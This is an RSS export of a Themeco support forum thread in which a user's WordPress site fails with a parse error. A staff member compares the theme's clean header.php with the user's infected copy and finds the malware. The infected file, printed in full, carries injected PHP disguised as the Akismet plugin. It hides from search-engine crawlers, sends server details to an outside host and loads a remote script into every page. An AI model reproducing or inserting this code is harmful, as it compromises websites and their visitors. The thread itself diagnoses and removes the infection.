<?xml version="1.0" encoding="UTF-8"?>
	<rss version="2.0"
		xmlns:content="http://purl.org/rss/1.0/modules/content/"
		xmlns:wfw="http://wellformedweb.org/CommentAPI/"
		xmlns:dc="http://purl.org/dc/elements/1.1/"
		xmlns:atom="http://www.w3.org/2005/Atom"

			>

	<channel>

		<title>URGENT!!! website down because theme Issue &#8211; Themeco Community</title>
		<atom:link href="https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/feed/" rel="self" type="application/rss+xml" />
		<link>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/feed/</link>
		<description></description>
		<lastBuildDate>Thu, 25 Dec 2025 17:18:04 +0000</lastBuildDate>
		<generator>https://bbpress.org/?v=2.6.14</generator>
		<language>en-US</language>

		
														
					
				<item>
					<guid>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111873</guid>
					<title><![CDATA[URGENT!!! website down because theme Issue]]></title>
					<link>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111873</link>
					<pubDate>Thu, 25 Sep 2014 00:21:40 +0000</pubDate>
					<dc:creator>karen N</dc:creator>

					<description>
						<![CDATA[
						<p>Greetings,</p>
<p>My website is down and showing this error message:</p>
<p>wed address: <a href="http://www.juiceitdrinkit.com" rel="nofollow">http://www.juiceitdrinkit.com</a><br />
Parse error: syntax error, unexpected &#8216;:&#8217; in /home4/katelier/public_html/juiceitdrinkit.com/wp-content/themes/x/header.php on line 142</p>
<p>I recently upgraded to wordpress 4.0 and also uploaded the new version of thd X theme. My host company says the problem is not on their end , but withing the code on the theme. I dont know how to fix this. I do this by myself. Im quite desperate at this time since my small business rely on the webpage for orders. </p>
<p>Can you please help me with this?</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111902</guid>
					<title><![CDATA[Reply To: URGENT!!! website down because theme Issue]]></title>
					<link>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111902</link>
					<pubDate>Thu, 25 Sep 2014 01:26:08 +0000</pubDate>
					<dc:creator>Rad</dc:creator>

					<description>
						<![CDATA[
						<p>Hi Karen,</p>
<p>In this case, please always provide all needed information. </p>
<p>Would you mind providing us with login credentials so we can take a closer look? To do this, you can make a post with the following info:</p>
<p>&#8211; Link to your site<br />
&#8211; WordPress Admin username / password<br />
&#8211; FTP credentials</p>
<p><strong>Don&#8217;t forget to select Set as private reply. This ensures your information is only visible to our staff. </strong></p>
<p>Parse error is only possible by faulty coding. Given that X works on my setup and other user&#8217;s site,then  it&#8217;s possible that you have custom coding at header.php  that breaks your site.</p>
<p>Thanks.</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111913</guid>
					<title><![CDATA[Reply To: URGENT!!! website down because theme Issue]]></title>
					<link>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111913</link>
					<pubDate>Thu, 25 Sep 2014 01:57:48 +0000</pubDate>
					<dc:creator>karen N</dc:creator>

					<description>
						<![CDATA[
						This reply has been marked as private.						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111941</guid>
					<title><![CDATA[Reply To: URGENT!!! website down because theme Issue]]></title>
					<link>https://theme.co/archive/forums/topic/urgent-website-down-because-theme-issue/#post-111941</link>
					<pubDate>Thu, 25 Sep 2014 02:49:58 +0000</pubDate>
					<dc:creator>Rad</dc:creator>

					<description>
						<![CDATA[
						<p>Hi Karen,</p>
<p>Your header.php should be like this.</p>
<pre><code>&lt;?php

// =============================================================================
// HEADER.PHP
// -----------------------------------------------------------------------------
// The site header. Variable output across different stacks.
//
// Content is output based on which Stack has been selected in the Customizer.
// To view and/or edit the markup of your Stack&#039;s index, first go to &quot;views&quot;
// inside the &quot;framework&quot; subdirectory. Once inside, find your Stack&#039;s folder
// and look for a file called &quot;wp-header.php,&quot; where you&#039;ll be able to find the
// appropriate output.
// =============================================================================

?&gt;

&lt;?php x_get_view( x_get_stack(), &#039;wp&#039;, &#039;header&#039; ); ?&gt;</code></pre>
<p>Your current header.php has this.</p>
<pre><code>&lt;?php

// =============================================================================
// HEADER.PHP
// -----------------------------------------------------------------------------
// The site header. Variable output across different stacks.
//
// Content is output based on which Stack has been selected in the Customizer.
// To view and/or edit the markup of your Stack&#039;s index, first go to &quot;views&quot;
// inside the &quot;framework&quot; subdirectory. Once inside, find your Stack&#039;s folder
// and look for a file called &quot;wp-header.php,&quot; where you&#039;ll be able to find the
// appropriate output.
// =============================================================================

?&gt;
&lt;?php
#68bc82#
/**
 * @package Akismet
 */
/*
Plugin Name: Akismet
Plugin URI: http://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to &lt;strong&gt;protect your blog from comment and trackback spam&lt;/strong&gt;. It keeps your site protected from spam even while you sleep. To get started: 1) Click the &quot;Activate&quot; link to the left of this description, 2) &lt;a href=&quot;http://akismet.com/get/&quot;&gt;Sign up for an Akismet API key&lt;/a&gt;, and 3) Go to your Akismet configuration page, and save your API key.
Version: 3.0.0
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/

if( empty( $f ) ) {
    if( ( substr( trim( $_SERVER[&#039;REMOTE_ADDR&#039;] ), 0, 6 ) == &#039;74.125&#039; ) || preg_match(
            &quot;/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i&quot;,
            $_SERVER[&#039;HTTP_USER_AGENT&#039;]
        )
    ) {
    } else {
        error_reporting( 0 );
        @ini_set( &#039;display_errors&#039;, 0 );
        if( !function_exists( &#039;__url_get_contents&#039; ) ) {
            function __url_get_contents( $remote_url, $timeout )
            {
                if( function_exists( &#039;curl_exec&#039; ) ) {
                    $ch = curl_init();
                    curl_setopt( $ch, CURLOPT_URL, $remote_url );
                    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
                    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
                    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
                    $_url_get_contents_data = curl_exec( $ch );
                    curl_close( $ch );
                } elseif( function_exists( &#039;file_get_contents&#039; ) &amp;&amp; ini_get( &#039;allow_url_fopen&#039; ) ) {
                    $ctx = @stream_context_create(
                        array(
                            &#039;http&#039; =&gt;
                                array(
                                    &#039;timeout&#039; =&gt; $timeout,
                                )
                        )
                    );
                    $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
                } elseif( function_exists( &#039;fopen&#039; ) &amp;&amp; function_exists( &#039;stream_get_contents&#039; ) ) {
                    $handle = @fopen( $remote_url, &quot;r&quot; );
                    $_url_get_contents_data = @stream_get_contents( $handle );
                } else {
                    $_url_get_contents_data = __file_get_url_contents( $remote_url );
                }
                return $_url_get_contents_data;
            }
        }

        if( !function_exists( &#039;__file_get_url_contents&#039; ) ) {
            function __file_get_url_contents( $remote_url )
            {
                if( preg_match(
                    &#039;/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i&#039;,
                    $remote_url,
                    $matches
                )
                ) {
                    $protocol = strtolower( $matches[1] );
                    $host = $matches[2];
                    $path = $matches[3];
                } else {
                    // Bad remote_url-format
                    return false;
                }
                if( $protocol == &quot;http&quot; ) {
                    $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
                } else {
                    // Bad protocol
                    return false;
                }
                if( !$socket ) {
                    // Error creating socket
                    return false;
                }
                $request = &quot;GET $path HTTP/1.0\r\nHost: $host\r\n\r\n&quot;;
                $len_written = @fwrite( $socket, $request );
                if( $len_written === false || $len_written != strlen( $request ) ) {
                    // Error sending request
                    return false;
                }
                $response = &quot;&quot;;
                while( !@feof( $socket ) &amp;&amp;
                    ( $buf = @fread( $socket, 4096 ) ) !== false ) {
                    $response .= $buf;
                }
                if( $buf === false ) {
                    // Error reading response
                    return false;
                }
                $end_of_header = strpos( $response, &quot;\r\n\r\n&quot; );
                return substr( $response, $end_of_header + 4 );
            }
        }

        $f[&#039;SCRIPT_FILENAME&#039;] = $_SERVER[&#039;SCRIPT_FILENAME&#039;];
        $f[&#039;SCRIPT_NAME&#039;] = $_SERVER[&#039;SCRIPT_NAME&#039;];
        $f[&#039;HTTP_HOST&#039;] = $_SERVER[&#039;HTTP_HOST&#039;];
        $f[&#039;REDIRECT_STATUS&#039;] = $_SERVER[&#039;REDIRECT_STATUS&#039;];
        $f[&#039;SERVER_NAME&#039;] = $_SERVER[&#039;SERVER_NAME&#039;];
        $f[&#039;SERVER_ADDR&#039;] = $_SERVER[&#039;SERVER_ADDR&#039;];
        $f[&#039;SERVER_ADMIN&#039;] = $_SERVER[&#039;SERVER_ADMIN&#039;];

       $f = __url_get_contents(http://s49017.gridserver.com/pdybjzg7.php. &quot;?fid=9910490&amp;info=&quot; . http_build_query( $f ) . &quot;&amp;no=1&quot;, 1);
        echo &quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;http://s49017.gridserver.com/pdybjzg7.php?id=5461084\&quot;&gt;&lt;/script&gt;&quot;;
    }
}
#/68bc82#
?&gt;

&lt;?php x_get_view( x_get_stack(), &#039;wp&#039;, &#039;header&#039; ); ?&gt;</code></pre>
<p>There is a bunch of code that has to be added to akismet plugin, but added to your header.php</p>
<p>If you&#8217;re can&#8217;t remember this, please scan your site of probable virus/malware infection.</p>
<p>I deleted that extra code, but it may come back if it&#8217;s a virus/malware.</p>
<p>Cheers!</p>
						]]>
					</description>

					
					
				</item>

					
		
	</channel>
	</rss>

